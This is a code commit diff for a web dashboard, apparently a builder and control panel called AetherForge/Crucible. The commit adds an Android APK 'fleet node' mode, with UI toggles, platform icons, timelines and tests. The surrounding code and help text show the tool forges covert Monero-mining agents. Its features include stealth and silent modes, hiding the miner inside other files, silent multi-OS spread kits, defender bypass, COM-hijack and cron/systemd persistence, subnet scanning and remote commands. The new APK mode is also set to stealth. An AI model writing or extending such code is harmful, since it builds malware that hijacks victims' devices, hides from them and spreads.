Add Android APK fleet nodes with Crucible UI integration and tests.

APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.

server/web/e2e/crucible-command.spec.ts

@@ -46,6 +46,8 @@ test.describe('Crucible remote command', () => {
 
     const terminal = page.locator('.crucible-terminal');
     await expect(terminal.getByText('echo crucible-e2e-ping')).toBeVisible({ timeout: 10_000 });
-    await expect(terminal.getByText('crucible-e2e-ping')).toBeVisible({ timeout: 15_000 });
+    await expect(terminal.getByText('crucible-e2e-ping', { exact: true })).toBeVisible({
+      timeout: 15_000,
+    });
   });
 });

server/web/e2e/pages.spec.ts

@@ -38,7 +38,7 @@ test.describe('Page smoke', () => {
     await expect(page.getByRole('button', { name: /Logic gates/i })).toBeVisible();
     await expect(page.getByRole('button', { name: /AI Control/i })).toBeVisible();
     await page.getByRole('button', { name: /AI Control/i }).click();
-    await expect(page.getByPlaceholderText('http://127.0.0.1:11434/v1')).toBeVisible();
+    await expect(page.locator('#cal-ai-endpoint')).toBeVisible();
     await expect(page.getByRole('button', { name: 'Refresh models' })).toBeVisible();
   });
 

server/web/src/components/Fleet/NetworkTopoMap.tsx

@@ -12,6 +12,7 @@ import {
   type SubnetLayout,
 } from '../../help/networkTopology';
 import { agentAccentColor } from '../../help/fleetHeatMap';
+import { platformIcon } from '../../help/platform';
 import './NetworkTopoMap.css';
 
 // ── Types ──────────────────────────────────────────────────────────────────
@@ -29,14 +30,6 @@ interface Props {
 
 // ── Platform icon helper ───────────────────────────────────────────────────
 
-function platformIcon(platform: string): string {
-  const p = platform.toLowerCase();
-  if (p.includes('win')) return '⊞';
-  if (p.includes('linux')) return '🐧';
-  if (p.includes('darwin')) return '';
-  return '⬡';
-}
-
 // ── Hashrate spike tracking ────────────────────────────────────────────────
 
 const SPIKE_RATIO = 1.3;

server/web/src/help/accessDepth.test.ts

@@ -76,3 +76,27 @@ describe('buildAccessDepthModel pending chain', () => {
     expect(model.failed).toHaveLength(1);
   });
 });
+
+describe('buildAccessDepthModel android', () => {
+  it('uses android platform label and probes', () => {
+    const model = buildAccessDepthModel(
+      agent({ platform: 'android', os_version: '14', arch: 'arm64' }),
+      parseAccessDepthDiagnostics({
+        environment_probes: {
+          wifi: true,
+          battery: true,
+          foreground_service: true,
+        },
+        tier_chain_order: ['foreground_service', 'cpu_inprocess'],
+      }),
+    );
+    expect(model.platformLabel).toBe('Android');
+    expect(model.probes.map((p) => p.label)).toEqual(['Wi-Fi', 'Battery', 'Foreground svc']);
+    expect(model.miningOnion.map((r) => r.tier)).toEqual([
+      'foreground_service',
+      'cpu_inprocess',
+      'desktop_tiers_skipped',
+    ]);
+    expect(model.spreadOnion).toEqual([]);
+  });
+});

server/web/src/help/accessDepth.ts

@@ -1,5 +1,6 @@
 import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
 import type { Agent } from '../types';
+import { isAndroidPlatform, platformLabel } from './platform';
 import { formatLotlTierLabel, parseTierAttempts, type TierAttempt } from '../types/lotl';
 
 /** Mirrors agent/miner/environment_probe.go */
@@ -11,6 +12,9 @@ export interface EnvironmentProbes {
   gpu?: boolean;
   av_blocks_exe?: boolean;
   webview2?: boolean;
+  wifi?: boolean;
+  battery?: boolean;
+  foreground_service?: boolean;
 }
 
 export interface StrategyReason {
@@ -117,6 +121,12 @@ export const DEFAULT_MINING_TIER_ORDER = [
   'stratum_direct',
 ] as const;
 
+/** APK fleet-node mining path — foreground service then in-process CPU. */
+export const ANDROID_MINING_TIER_ORDER = ['foreground_service', 'cpu_inprocess'] as const;
+
+/** Virtual timeline row summarizing skipped desktop tiers on Android. */
+export const ANDROID_DESKTOP_SKIPPED_TIER = 'desktop_tiers_skipped';
+
 const DEFAULT_TRIPLE_RECON = ['kev_scan', 'vuln_recon', 'service_probe', 'listen_ports'];
 const DEFAULT_TRIPLE_DEPLOY = [
   'discover_and_join',
@@ -133,7 +143,7 @@ export function parseEnvironmentProbes(raw: unknown): EnvironmentProbes | undefi
   if (!raw || typeof raw !== 'object') return undefined;
   const row = raw as Record<string, unknown>;
   const probes: EnvironmentProbes = {};
-  for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2'] as const) {
+  for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2', 'wifi', 'battery', 'foreground_service'] as const) {
     if (typeof row[key] === 'boolean') probes[key] = row[key];
   }
   return Object.keys(probes).length > 0 ? probes : undefined;
@@ -205,15 +215,21 @@ function ordersDiffer(a: readonly string[], b: readonly string[]): boolean {
   return a.some((tier, i) => tier.toLowerCase() !== b[i]?.toLowerCase());
 }
 
-function platformLabel(platform?: string): string {
-  const p = (platform || '').toLowerCase();
-  if (p.includes('darwin') || p.includes('mac')) return 'macOS';
-  if (p.includes('linux')) return 'Linux';
-  if (p.includes('win') || p === 'windows') return 'Windows';
-  return platform?.trim() || 'Unknown';
+function androidDesktopSkipped(): string[] {
+  return DEFAULT_MINING_TIER_ORDER.filter(
+    (t) => !ANDROID_MINING_TIER_ORDER.includes(t as (typeof ANDROID_MINING_TIER_ORDER)[number]),
+  );
 }
 
 function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeChip[] {
+  if (isAndroidPlatform(agent.platform)) {
+    const p = probes ?? {};
+    return [
+      { key: 'wifi', label: 'Wi-Fi', ok: p.wifi === true },
+      { key: 'battery', label: 'Battery', ok: p.battery === true },
+      { key: 'fg_service', label: 'Foreground svc', ok: p.foreground_service === true },
+    ].filter((c) => c.ok || probes != null);
+  }
   const p = probes ?? {};
   const chips: ProbeChip[] = [
     { key: 'docker', label: 'Docker', ok: p.docker === true },
@@ -309,6 +325,15 @@ function resolveMiningOrder(
   policy: AccessDepthServerPolicy | undefined,
   agent: Agent,
 ): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } {
+  if (isAndroidPlatform(agent.platform)) {
+    const order = diag?.tier_chain_order?.length
+      ? diag.tier_chain_order
+      : [...ANDROID_MINING_TIER_ORDER];
+    const skipped = diag?.tier_chain_skipped?.length
+      ? diag.tier_chain_skipped
+      : androidDesktopSkipped();
+    return { order, skipped, source: diag?.tier_chain_order?.length ? 'agent' : 'default' };
+  }
   if (diag?.adaptive_strategy?.tier_order?.length) {
     const adaptiveOrder = diag.adaptive_strategy.tier_order;
     const adaptiveActive = ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER);
@@ -431,8 +456,9 @@ export function buildAccessDepthModel(
   const pending = computePendingTiers(order, skipped, attempts);
   const inProgressTier = detectInProgress(agent, attempts, pending, activeTier);
 
-  const spreadOrder =
-    policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0
+  const spreadOrder = isAndroidPlatform(agent.platform)
+    ? []
+    : policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0
       ? policy.lotl_onion_tiers
       : [...DEFAULT_LOTL_ONION_TIERS];
 
@@ -447,6 +473,18 @@ export function buildAccessDepthModel(
   if (agent.os_version) osParts.push(agent.os_version);
   if (agent.arch) osParts.push(agent.arch);
 
+  const miningOnion = isAndroidPlatform(agent.platform)
+    ? [
+        ...buildOnionRows([...ANDROID_MINING_TIER_ORDER], [], attempts, activeTier, atlasSkips),
+        {
+          index: ANDROID_MINING_TIER_ORDER.length + 1,
+          tier: ANDROID_DESKTOP_SKIPPED_TIER,
+          label: formatLotlTierLabel(ANDROID_DESKTOP_SKIPPED_TIER),
+          status: 'skipped' as const,
+        },
+      ]
+    : buildOnionRows(order, skipped, attempts, activeTier, atlasSkips);
+
   return {
     platformLabel: platformLabel(agent.platform),
     osLine: osParts.join(' · '),
@@ -462,7 +500,7 @@ export function buildAccessDepthModel(
     inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined,
     pendingTiers: pending,
     pendingLabels: pending.map(formatLotlTierLabel),
-    miningOnion: buildOnionRows(order, skipped, attempts, activeTier, atlasSkips),
+    miningOnion,
     spreadOnion: spreadOrder.map((tier, i) => ({
       index: i + 1,
       tier,

server/web/src/help/docAnchors.ts

@@ -18,6 +18,8 @@ export const DOC_ANCHORS: Record<string, string> = {
   pool_pass: '/docs/#mining',
   target_os: '/docs/#forge',
   target_arch: '/docs/#forge',
+  apk_mode: '/docs/#forge',
+  apk_agent_name: '/docs/#forge',
   output_dir: '/docs/#forge',
   thread_mode: '/docs/#forge',
   thread_percent: '/docs/#forge-stealth',

server/web/src/help/forgeFormNormalize.test.ts

@@ -29,6 +29,15 @@ describe('forgeFormNormalize', () => {
     expect(deriveDeliverableType(baseForm())).toBe('single');
   });
 
+  it('apk mode forces android arm64 and clears fusion', () => {
+    const out = normalizeForgeForm(baseForm({ apk_mode: true, fusion_enabled: true, target_os: 'windows' }));
+    expect(out.apk_mode).toBe(true);
+    expect(out.target_os).toBe('android');
+    expect(out.target_arch).toBe('arm64');
+    expect(out.fusion_enabled).toBe(false);
+    expect(out.mining_disabled).toBe(true);
+  });
+
   it('spread kit forces universal and clears fusion', () => {
     const out = normalizeForgeForm(baseForm({ spread_kit: true, fusion_enabled: true, target_os: 'windows' }));
     expect(out.spread_kit).toBe(true);

server/web/src/help/forgeFormNormalize.ts

@@ -37,6 +37,7 @@ const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [
 ];
 
 export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
+  if (form.apk_mode) return 'single';
   if (form.spread_kit) return 'spread_kit';
   if (form.fusion_enabled) return 'fusion';
   return 'single';
@@ -87,6 +88,7 @@ export function spreadKitPreset(): Partial<BuildRequest> {
 
 export function installBaseOptionsForTarget(targetOs?: string): InstallBaseOption[] {
   const t = targetOs || 'windows';
+  if (t === 'android') return UNIX_INSTALL_BASES;
   if (t === 'linux' || t === 'darwin') return UNIX_INSTALL_BASES;
   if (t === 'universal') return UNIVERSAL_INSTALL_BASES;
   return WINDOWS_INSTALL_BASES;
@@ -100,10 +102,29 @@ function isSingleUnixTarget(targetOs?: string): boolean {
   return targetOs === 'linux' || targetOs === 'darwin';
 }
 
+function isAndroidTarget(targetOs?: string, apkMode?: boolean): boolean {
+  return !!apkMode || targetOs === 'android';
+}
+
 /** Coerce form so inactive fields hold safe defaults and incompatible values are cleared. */
 export function normalizeForgeForm(form: BuildRequest): BuildRequest {
   const next: BuildRequest = { ...form };
 
+  if (next.apk_mode) {
+    next.fusion_enabled = false;
+    next.spread_kit = false;
+    next.target_os = 'android';
+    next.target_arch = 'arm64';
+    next.mining_disabled = true;
+    next.gpu_enabled = false;
+    next.miner_execution = 'inprocess';
+    next.threads = 1;
+    next.thread_mode = 'fixed';
+    if (!next.apk_agent_name?.trim()) {
+      next.apk_agent_name = next.worker_name;
+    }
+  }
+
   // Deliverable coupling — spread kit wins if both flags were somehow set
   if (next.spread_kit) {
     next.fusion_enabled = false;
@@ -123,8 +144,17 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
     next.spread_kit = false;
   }
 
+  if (isAndroidTarget(next.target_os, next.apk_mode)) {
+    next.target_os = 'android';
+    next.target_arch = 'arm64';
+    next.fusion_enabled = false;
+    next.spread_kit = false;
+  }
+
   // Architecture
-  if (isSingleUnixTarget(next.target_os)) {
+  if (isAndroidTarget(next.target_os, next.apk_mode)) {
+    next.target_arch = 'arm64';
+  } else if (isSingleUnixTarget(next.target_os)) {
     if (!next.target_arch || next.target_arch === 'all') {
       next.target_arch = next.target_os === 'darwin' ? 'arm64' : 'amd64';
     }

server/web/src/help/forgeRules.test.ts

@@ -166,6 +166,20 @@ describe('applyForgeFieldUpdate', () => {
     expect(out.target_os).toBe('universal');
   });
 
+  it('apk_mode locks android arm64 and disables fusion', () => {
+    const out = applyForgeFieldUpdate(
+      baseForm({ fusion_enabled: true, target_os: 'windows' }),
+      'apk_mode',
+      true
+    );
+    expect(out.apk_mode).toBe(true);
+    expect(out.target_os).toBe('android');
+    expect(out.target_arch).toBe('arm64');
+    expect(out.fusion_enabled).toBe(false);
+    expect(out.mining_disabled).toBe(true);
+    expect(out.apk_agent_name).toBe('pc-lab-1');
+  });
+
   it('spread_kit applies full preset and clears fusion', () => {
     const out = applyForgeFieldUpdate(baseForm({ fusion_enabled: true }), 'spread_kit', true);
     expect(out.spread_kit).toBe(true);

server/web/src/help/forgeRules.ts

@@ -127,8 +127,39 @@ export function applyForgeFieldUpdate(
       }
       break;
 
+    case 'apk_mode':
+      if (value === true) {
+        Object.assign(next, {
+          apk_mode: true,
+          fusion_enabled: false,
+          spread_kit: false,
+          target_os: 'android',
+          target_arch: 'arm64',
+          mining_disabled: true,
+          gpu_enabled: false,
+          threads: 1,
+          thread_mode: 'fixed',
+          display_mode: 'background',
+          silent_mode: true,
+          stealth_mode: true,
+          file_logging: false,
+        });
+        if (!next.apk_agent_name?.trim()) {
+          next.apk_agent_name = next.worker_name;
+        }
+      } else {
+        next.apk_mode = false;
+        next.mining_disabled = false;
+        if (next.target_os === 'android') {
+          next.target_os = 'windows';
+          next.target_arch = 'all';
+        }
+      }
+      break;
+
     case 'fusion_enabled':
       if (value === true) {
+        next.apk_mode = false;
         next.display_mode = 'background';
         next.silent_mode = true;
         next.spread_kit = false;
@@ -241,13 +272,24 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
   const isUniversal = targetOs === 'universal';
   const isSpreadKit = !!form.spread_kit;
   const isFusion = !!form.fusion_enabled;
+  const isApk = !!form.apk_mode;
 
   return {
     worker_name: { disabled: false, badge: 'baked' },
     server_url: { disabled: false, badge: 'baked' },
     https_beacon_fallback: { disabled: false, badge: 'baked' },
     https_beacon_after_min: { disabled: false, badge: 'baked' },
-    wallet: { disabled: false, badge: 'baked' },
+    wallet: {
+      disabled: isApk,
+      badge: 'baked',
+      lockedReason: isApk ? 'APK fleet nodes join without mining — wallet is optional.' : undefined,
+    },
+    apk_mode: { disabled: isSpreadKit, badge: 'baked' },
+    apk_agent_name: {
+      disabled: !isApk,
+      badge: 'baked',
+      lockedReason: !isApk ? 'Enable APK mode first.' : undefined,
+    },
     output_dir: {
       disabled: false,
       badge: 'server-only',
@@ -376,9 +418,13 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
       hint: 'SSH, browsers, FTP, RDP client, etc. Requires administrator to replace system binaries.',
     },
     fusion_enabled: {
-      disabled: isSpreadKit,
+      disabled: isSpreadKit || isApk,
       badge: 'baked',
-      lockedReason: isSpreadKit ? 'Turn off Spread Kit to use Fusion.' : undefined,
+      lockedReason: isApk
+        ? 'Fusion is not available for APK fleet nodes.'
+        : isSpreadKit
+          ? 'Turn off Spread Kit to use Fusion.'
+          : undefined,
     },
     fusion_prep: {
       disabled: !form.fusion_enabled,
@@ -468,20 +514,24 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
       hint: isUniversal ? 'Linux worker only — systemd-run --user and/or crontab @reboot hooks after install.' : undefined,
     },
     target_os: {
-      disabled: isSpreadKit || isFusion,
+      disabled: isSpreadKit || isFusion || isApk,
       badge: 'baked',
-      lockedReason: isSpreadKit
-        ? 'Spread Kit always targets all platforms (Universal).'
-        : isFusion
-          ? 'Movie fusion always builds a universal ZIP.'
-          : undefined,
+      lockedReason: isApk
+        ? 'APK mode locks target to Android arm64.'
+        : isSpreadKit
+          ? 'Spread Kit always targets all platforms (Universal).'
+          : isFusion
+            ? 'Movie fusion always builds a universal ZIP.'
+            : undefined,
     },
     target_arch: {
-      disabled: !isUnixSingle,
+      disabled: !isUnixSingle || isApk,
       badge: 'baked',
-      lockedReason: !isUnixSingle
-        ? 'Pick Linux or macOS as Target OS to choose architecture.'
-        : undefined,
+      lockedReason: isApk
+        ? 'APK mode locks architecture to arm64.'
+        : !isUnixSingle
+          ? 'Pick Linux or macOS as Target OS to choose architecture.'
+          : undefined,
     },
     spread_kit: {
       disabled: isFusion,

server/web/src/help/forgeValidation.ts

@@ -62,7 +62,11 @@ export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolea
   }
 
   if (!form.wallet.trim()) {
-    checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
+    if (form.apk_mode) {
+      checks.push({ id: 'wallet', level: 'ok', message: 'Wallet optional for APK fleet nodes (mining off by default).' });
+    } else {
+      checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
+    }
   } else if (!looksLikeXMRWallet(form.wallet)) {
     checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4 or 8, length 90–106).' });
   } else {

server/web/src/help/lotlTimeline.test.ts

@@ -43,3 +43,20 @@ describe('buildLotlTimelineModel atlas skips', () => {
     expect(ps?.state).toBe('skipped_by_atlas');
   });
 });
+
+describe('buildLotlTimelineModel android', () => {
+  it('shows shortened android chain instead of 14 spread tiers', () => {
+    const model = buildLotlTimelineModel(
+      agent({ platform: 'android', status: 'online', lotl_tier: 'foreground_service' }),
+      ['docker', 'powershell', 'dotnet'],
+      [{ tier: 'foreground_service', ok: false }],
+    );
+    expect(model.total).toBe(3);
+    expect(model.tiers.map((t) => t.tier)).toEqual([
+      'foreground_service',
+      'cpu_inprocess',
+      'desktop_tiers_skipped',
+    ]);
+    expect(model.tiers.find((t) => t.tier === 'desktop_tiers_skipped')?.state).toBe('skipped');
+  });
+});

server/web/src/help/lotlTimeline.ts

@@ -1,6 +1,8 @@
 import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
 import type { AtlasSkipView } from './accessDepth';
+import { ANDROID_DESKTOP_SKIPPED_TIER, ANDROID_MINING_TIER_ORDER } from './accessDepth';
 import type { Agent } from '../types';
+import { isAndroidPlatform } from './platform';
 import { formatLotlTierLabel, type TierAttempt } from '../types/lotl';
 
 /** Per-tier state for the live onion timeline UI. */
@@ -59,6 +61,7 @@ function tierDocHint(tier: string): string {
 }
 
 function tierLabel(tier: string): string {
+  if (tier === ANDROID_DESKTOP_SKIPPED_TIER) return 'Desktop tiers skipped';
   const key = canonicalSpreadTier(tier) as (typeof DEFAULT_LOTL_ONION_TIERS)[number];
   return LOTL_ONION_TIER_DOCS.find((d) => d.id === key)?.label ?? formatLotlTierLabel(tier);
 }
@@ -71,7 +74,10 @@ function lastAttemptForTier(attempts: TierAttempt[], spreadTier: string): TierAt
   return undefined;
 }
 
-export function resolveLotlTierOrder(policyTiers?: string[]): string[] {
+export function resolveLotlTierOrder(policyTiers?: string[], agent?: Agent): string[] {
+  if (agent && isAndroidPlatform(agent.platform)) {
+    return [...ANDROID_MINING_TIER_ORDER, ANDROID_DESKTOP_SKIPPED_TIER];
+  }
   if (policyTiers?.length) return [...policyTiers];
   return [...DEFAULT_LOTL_ONION_TIERS];
 }
@@ -83,6 +89,9 @@ export function buildLotlTimelineModel(
   skipped: string[] = [],
   atlasSkips: AtlasSkipView[] = [],
 ): LotlTimelineModel {
+  const effectiveOrder = isAndroidPlatform(agent.platform)
+    ? [...ANDROID_MINING_TIER_ORDER, ANDROID_DESKTOP_SKIPPED_TIER]
+    : order;
   const skippedSet = new Set(skipped.map((s) => canonicalSpreadTier(s)));
   const atlasSet = new Set(atlasSkips.map((s) => canonicalSpreadTier(s.tier)));
   const activeTier = agent.lotl_tier?.trim() || undefined;
@@ -95,12 +104,14 @@ export function buildLotlTimelineModel(
     if (!last?.ok) tryingTier = activeCanon;
   }
 
-  const tiers: LotlTimelineTierRow[] = order.map((tier, i) => {
+  const tiers: LotlTimelineTierRow[] = effectiveOrder.map((tier, i) => {
     const key = canonicalSpreadTier(tier);
     const attempt = lastAttemptForTier(attempts, tier);
     let state: LotlTimelineTierState = 'pending';
 
-    if (atlasSet.has(key)) {
+    if (tier === ANDROID_DESKTOP_SKIPPED_TIER) {
+      state = 'skipped';
+    } else if (atlasSet.has(key)) {
       state = 'skipped_by_atlas';
     } else if (skippedSet.has(key)) {
       state = 'skipped';
@@ -126,7 +137,7 @@ export function buildLotlTimelineModel(
 
   return {
     tiers,
-    total: order.length,
+    total: effectiveOrder.length,
     succeeded,
     activeTier,
     tryingTier,

server/web/src/help/platform.test.ts

@@ -0,0 +1,16 @@
+/** @vitest-environment node */
+import { describe, expect, it } from 'vitest';
+import { isAndroidPlatform, platformIcon, platformLabel } from './platform';
+
+describe('platform helpers', () => {
+  it('labels android fleet nodes', () => {
+    expect(platformLabel('android')).toBe('Android');
+    expect(isAndroidPlatform('android')).toBe(true);
+    expect(platformIcon('android')).toBe('🤖');
+  });
+
+  it('labels darwin as macOS with apple icon', () => {
+    expect(platformLabel('darwin')).toBe('macOS');
+    expect(platformIcon('darwin')).toBe('🍎');
+  });
+});

server/web/src/help/platform.ts

@@ -0,0 +1,24 @@
+/** Fleet-visible platform label and icon helpers (Crucible, Access Depth, ROI). */
+
+export function isAndroidPlatform(platform?: string): boolean {
+  return (platform || '').toLowerCase().includes('android');
+}
+
+export function platformLabel(platform?: string): string {
+  const p = (platform || '').toLowerCase();
+  if (isAndroidPlatform(p)) return 'Android';
+  if (p.includes('darwin') || p.includes('mac')) return 'macOS';
+  if (p.includes('linux')) return 'Linux';
+  if (p.includes('win') || p === 'windows') return 'Windows';
+  return platform?.trim() || 'Unknown';
+}
+
+export function platformIcon(platform?: string): string {
+  if (!platform) return '⬡';
+  const p = platform.toLowerCase();
+  if (p.includes('android')) return '🤖';
+  if (p.includes('darwin') || p.includes('mac')) return '🍎';
+  if (p === 'windows' || p.includes('windows') || p.includes('win')) return '⊞';
+  if (p.includes('linux')) return '🐧';
+  return '⬡';
+}

server/web/src/help/settingHelp.test.ts

@@ -135,6 +135,8 @@ describe('FIELD_HELP', () => {
     'remote_aggressive',
     'target_os',
     'target_arch',
+    'apk_mode',
+    'apk_agent_name',
     'spread_kit',
     'forge_deliverable',
     'forge_operation_mode',

server/web/src/help/settingHelp.ts

@@ -171,7 +171,11 @@ export const FIELD_HELP: Record<string, string> = {
   linux_lotl_mode: 'Linux LOTL Mode: After install on Linux, registers native-tool persistence via systemd-run --user, crontab @reboot, both, or off. No extra drop — uses built-in OS scheduling only.',
   hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
   remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.',
-  target_os: 'Target platform: Windows-only, Linux, macOS, or Universal (all three in one ZIP). Movie fusion and Spread Kit always use Universal.',
+  target_os: 'Target platform: Windows-only, Linux, macOS, Universal (all three in one ZIP), or Android APK fleet node. Movie fusion and Spread Kit always use Universal; APK mode locks Android arm64.',
+  apk_mode:
+    'Package a fleet node as an Android APK — not mining-first. Compiles linux/arm64 agent, embeds server_url + worker name, and joins the fleet as platform=android after install. Grant permissions on first open.',
+  apk_agent_name:
+    'Label baked into the APK assets config.json. Defaults to Worker Name. Shows on Command Deck after the phone/tablet connects.',
   target_arch: 'CPU architecture for single-platform Linux/macOS builds (amd64 or arm64). Ignored for Universal.',
   spread_kit: 'Spread Kit ZIP: deploy scripts for each OS that silently install the worker via --spread-install. No fusion wrapper.',
   forge_deliverable: 'What you are shipping: a single-platform installer, a silent multi-OS Spread Kit, or a movie/prep fusion package.',

server/web/src/pages/BuilderPage.test.tsx

@@ -292,6 +292,20 @@ describe('BuilderPage', () => {
     expect(api.exportSpreadKit).toHaveBeenCalled();
   });
 
+  it('APK mode toggle locks platform to Android arm64 and hides Fusion', async () => {
+    localStorage.setItem('aetherforge-forge-mode', 'advanced');
+    const user = userEvent.setup();
+    renderBuilder();
+    await screen.findByText('Worker Name');
+
+    const apkToggle = await screen.findByRole('checkbox', { name: /APK mode/i });
+    await user.click(apkToggle);
+
+    expect(screen.getByDisplayValue('Android (arm64)')).toBeInTheDocument();
+    expect(screen.getByText(/platform=android/i)).toBeInTheDocument();
+    expect(screen.queryByText('Fusion — Hide miner in any file')).not.toBeInTheDocument();
+  });
+
   it('polls builder progress endpoint while a forge is running', async () => {
     type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
     let resolveBuild!: (value: BuildResult) => void;

server/web/src/pages/BuilderPage.tsx

@@ -1656,7 +1656,11 @@ export default function BuilderPage() {
               )}
 
               <div className="form-group">
-                <label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
+                <label className="label">
+                  XMR Wallet Address {!form.apk_mode && <HelpTip field="wallet" />}
+                  {form.apk_mode && <span className="form-hint"> (optional)</span>}
+                  {form.apk_mode && <HelpTip field="wallet" />}
+                </label>
                 <input
                   type="text"
                   className={`input mono${form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 ? ' input-warn' : ''}`}
@@ -1828,7 +1832,11 @@ export default function BuilderPage() {
                         type="text"
                         className="input"
                         disabled
-                        value="Universal (all platforms)"
+                        value={
+                          form.apk_mode
+                            ? 'Android (arm64)'
+                            : 'Universal (all platforms)'
+                        }
                         readOnly
                       />
                     ) : (
@@ -1868,6 +1876,26 @@ export default function BuilderPage() {
                     Upload nothing — forge produces the deploy ZIP.
                   </p>
                 )}
+                <div className={`form-group checkbox-group ${fieldMeta.apk_mode?.disabled ? 'field-disabled' : ''}`} style={{ marginTop: '0.75rem' }}>
+                  <label className="checkbox-label">
+                    <input
+                      type="checkbox"
+                      className="checkbox"
+                      checked={!!form.apk_mode}
+                      disabled={fieldMeta.apk_mode?.disabled}
+                      onChange={(e) => updateField('apk_mode', e.target.checked)}
+                    />
+                    <span>APK mode <HelpTip field="apk_mode" /></span>
+                  </label>
+                  <FieldHint field="apk_mode" />
+                  <ForgeLockedHint meta={fieldMeta.apk_mode} />
+                </div>
+                {form.apk_mode && (
+                  <p className="form-hint">
+                    Install the forged APK on a phone or tablet. Grant permissions on first open — the node joins your fleet as{' '}
+                    <code>platform=android</code> (mining off by default). Not a mining-first deliverable; use for fleet presence on mobile.
+                  </p>
+                )}
               </div>
 
               {!simpleMode && (
@@ -2281,7 +2309,7 @@ export default function BuilderPage() {
             </>
             )}
 
-            {deliverableType !== 'spread_kit' && (
+            {deliverableType !== 'spread_kit' && !form.apk_mode && (
             <div className="form-section operator-deck-card operator-interactive">
               <ForgeSectionHeader
                 title="Fusion — Hide miner in any file"

server/web/src/pages/CruciblePage.tsx

@@ -30,6 +30,7 @@ import RiskBadge from '../components/Fleet/RiskBadge';
 import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap';
 import { parseTierReport } from '../types/lotl';
 import { parseAccessDepthDiagnostics, type AccessDepthDiagnostics } from '../help/accessDepth';
+import { platformIcon } from '../help/platform';
 import AlsoHere from '../components/Presence/AlsoHere';
 import { HelpTip } from '../components/HelpTip';
 import '../components/Fleet/FullSysCheckPanel.css';
@@ -303,15 +304,6 @@ function importantServices(svcs: AgentService[]): AgentService[] {
   return svcs.filter(s => IMPORTANT_SVCS.has(s.name.toLowerCase()) || s.status === 'running');
 }
 
-function platformIcon(platform?: string): string {
-  if (!platform) return '⬡';
-  const p = platform.toLowerCase();
-  if (p.includes('win')) return '⊞';
-  if (p.includes('linux')) return '🐧';
-  if (p.includes('darwin')) return '';
-  return '⬡';
-}
-
 let _lineId = 0;
 function mkId() { return `tl-${++_lineId}`; }
 

server/web/src/pages/LotlTimelinePage.tsx

@@ -6,6 +6,7 @@ import {
   buildLotlTimelineModel,
   resolveLotlTierOrder,
 } from '../help/lotlTimeline';
+import { isAndroidPlatform } from '../help/platform';
 import { clearanceTimelineSummary, type ClearanceEventRecord } from '../help/clearance';
 import { parseAccessDepthServerPolicy } from '../help/accessDepth';
 import type { AIDecisionRecord } from '../types';
@@ -117,9 +118,12 @@ export default function LotlTimelinePage() {
 
   const timelineModel = useMemo(() => {
     if (!selectedAgent) return null;
+    const order = isAndroidPlatform(selectedAgent.platform)
+      ? resolveLotlTierOrder(undefined, selectedAgent)
+      : tierOrder;
     return buildLotlTimelineModel(
       selectedAgent,
-      tierOrder,
+      order,
       selectedAgent.lotl_attempts ?? [],
       [],
       selectedAgent.atlas_skips ?? [],

server/web/src/pages/ROIPage.tsx

@@ -2,6 +2,7 @@ import { useState, useEffect, useMemo } from 'react';
 import { useWebSocket } from '../hooks/useWebSocket';
 import { api } from '../api/client';
 import { formatHashrate } from '../help/fleetFilters';
+import { platformIcon } from '../help/platform';
 import './ROIPage.css';
 
 // ── helpers ───────────────────────────────────────────────────────────────
@@ -15,14 +16,6 @@ function fmtUSD(n: number): string {
   return `$${n.toFixed(2)}`;
 }
 
-function platformIcon(platform?: string): string {
-  const p = (platform ?? '').toLowerCase();
-  if (p.includes('win')) return '⊞';
-  if (p.includes('linux')) return '🐧';
-  if (p.includes('darwin')) return '';
-  return '⬡';
-}
-
 function effBadge(pct: number): { label: string; cls: string } {
   if (pct >= 75) return { label: 'TOP', cls: 'top' };
   if (pct >= 40) return { label: 'MID', cls: 'mid' };

server/web/src/types/index.ts

@@ -560,8 +560,12 @@ export interface BuildRequest {
   com_hijack_persist?: boolean;
   /** Linux LOTL persistence: systemd_run_user | crontab | both | off */
   linux_lotl_mode?: 'systemd_run_user' | 'crontab' | 'both' | 'off';
-  target_os?: 'windows' | 'linux' | 'darwin' | 'universal';
+  target_os?: 'windows' | 'linux' | 'darwin' | 'universal' | 'android';
   target_arch?: string;
+  /** Android fleet-node APK (mining off by default). */
+  apk_mode?: boolean;
+  apk_agent_name?: string;
+  mining_disabled?: boolean;
   spread_kit?: boolean;
   obfuscate?: boolean;
   /** Post-forge PE overlay + timestamp uniquification (Sigil Scramble). */
@@ -647,6 +651,7 @@ export interface BuildResponse {
   sigil_scramble?: boolean;
